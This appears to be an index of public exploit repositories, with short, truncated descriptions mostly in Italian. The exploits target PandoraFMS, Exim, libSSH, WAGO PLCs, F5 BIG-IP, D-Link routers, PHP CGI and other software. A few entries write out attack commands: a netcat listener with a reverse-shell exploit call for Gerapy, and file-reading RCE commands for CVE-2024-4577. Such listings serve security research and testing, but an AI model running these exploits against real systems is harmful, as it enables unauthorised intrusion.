CVE-2020-5844

CVE-2020-5844 RCE autenticado no PandoraFMS 7.0-NG 742 Atacantes com privilégios de administrador podem enviar documentos PHP maliciosos. Ao decodificar a localização do arquivo em base64, os usuários podem obter um shell como o usuário apache. Descoberto por TheCyberGeek Script PoC em Python...

PoC_CVE-2019-10149--rce

Informazioni Esecuzione remota di comandi in una shell da un servizio exim vulnerabile. Le versioni vulnerabili vanno dalla 4.87 alla 4.91 incluse. Controlla https://nvd.nist.gov/vuln/detail/cve-2019-10149. Il seguente script è basato sul PoC di Qualys. Controlla...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Bypass di Autenticazione Accedi a una shell senza credenziali utilizzando CVE-2018-10933 Informazioni su CVE-2018-10933 di libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Rilascio del fix di libSSH :...

CVE-2023-1698

wagoexploit.py - Exploit PoC per CVE-2023-1698 🚀 Informazioni wagoexploit.py è un exploit proof-of-concept PoC per CVE-2023-1698 , una vulnerabilità critica che colpisce i PLC WAGO. Questo exploit garantisce all'attaccante l'accesso alla shell del dispositivo, esponendo potenzialmente operazioni...

cve-2018-2628

cve-2018-2628 cve-2018-2628 shell inversa Articolo https://pi.wrysunnylove.cn/archives/58...

CVE-2023-38831

CVE-2023-38831 PoC Questo è un exploit facile da usare per la CVE-2023-38831 Utilizzo Controlla le versioni vulnerabili: Esegui l'exploit: Ottieni la shell:...

nec_aterm_tools

necatermtools Questo repository contiene due strumenti sviluppati per ottenere una shell sui router NEC Aterm: 1. nec-aterm-firmware-config-extractor: estrae la HWRANDOMKEY da un'immagine firmware. Questa chiave è necessaria per generare una password valida per il login. 2. rakuraku-nec-shell:...

CVE-2022-1388

CVE-2022-1388 Exploit RCE della vulnerabilità F5 BIG-IP iControl REST con Java. Caratteristiche Scansione di un singolo target Scansione di più target Exploit con una shell Setup del Lab Puoi trovare il lab Qui Esecuzione Puoi eseguire il codice direttamente con user javac main.java seguito da us...

CVE-2020-29669

Macally WIFISD2-2A82 Report per CVE-2020-29669 di Maximilian Barz Silky e Daniel Schwendner code-byter ========================== Questo è un report sullo sfruttamento del Macally WIFISD2-2A82 Travel Router versione firmware: 2.000.010. L'utente Guest può reimpostare la propria password. Questo...

TryHack3M-Bricks-Heist

TryHack3M: Bricks Heist Exploit • Writeup • Sfida CTF Un repository completo che contiene un exploit personalizzato e un writeup dettagliato per la sfida TryHack3M: Bricks Heist Avvio Rapido • Struttura del Repository • L'Exploit • Il Writeup • Disclaimer Panoramica Questo repository documenta la...

dlink_shell_poc

dlinkshellpoc Dlink-Shell-PoC Getestet auf D-Link 815 Version A 1.3 Funktioniert mit: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 Hinweis: Der PoC-Code verarbeitet keine Captchas. Beispiel root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc.py -h -p PASSWO...

CVE-2022-2333

CVE-2022-2333 Dopo oltre sei mesi di lavoro, vi faccio vedere qualcosa di buono Vi piace sxf vpn? A me non piace molto Dopo oltre sei mesi di lavoro, la shell è spuntata E dopo che è spuntata, ho scoperto che era il vecchio firmware In M7.6.8 non c'era più Va beh, va beh Non è che non ci fidiamo ...

hunt-for-cve-2018-10933

Caccia e sfrutta il Bypass dell'Autenticazione libSSH CVE-2018-10933 Guida pratica che spiega come trovare host vulnerabili al Bypass dell'Autenticazione libSSH CVE-2018-10933 e come sfruttarli per ottenere accesso alla shell. Fai riferimento al seguente post del blog per le istruzioni:...

CVE-2020-29669

Macally WIFISD2-2A82 Writeup per CVE-2020-29669 di Maximilian Barz Silky e Daniel Schwendner code-byter ========================== Questo è un writeup sullo sfruttamento del Macally WIFISD2-2A82 Travel Router versione firmware: 2.000.010. L'utente Guest è in grado di reimpostare la propria...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 accedi al portale come amministratore aggiungi un nuovo progetto sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

tscan

Scanner per Bypass dell'Autenticazione Telnetd CVE-2026-24061 Uno scanner basato su Python per rilevare e sfruttare la vulnerabilità CVE-2026-24061 nei servizi telnetd di GNU Inetutils. Questo strumento esegue la scansione di indirizzi IP o reti alla ricerca di servizi telnetd vulnerabili che...

CVE-2026-41940

Basierend auf dem Watch Tower POC, Unterstützt direkten Shell-Zugriff über Websocket und das Hinzufügen von Root-API-Schlüsseln zur Persistenz...

CVE-2024-4577

lol CVE-2024-4577 1. comando exploit RCE valore python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory trova directory...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Disclaimer Questo script è destinato SOLO a scopi educativi e di test autorizzati. L'uso non autorizzato di questo strumento contro sistemi senza esplicito permesso è ILLEGALE. L'autore non è responsabile di qualsiasi uso improprio di queste informazioni. Le versioni di Marimo...

webcgi-exploits

Exploit Web CGI Ecco alcuni exploit relativi a diverse CGI web. Ho scritto questi exploit negli ultimi anni. Come funziona Le applicazioni web sono fondamentalmente questi strati: 1. applicazioni 2. framework web 3. motori dei linguaggi di script 4. contenitori web server 5. proxy front-end web...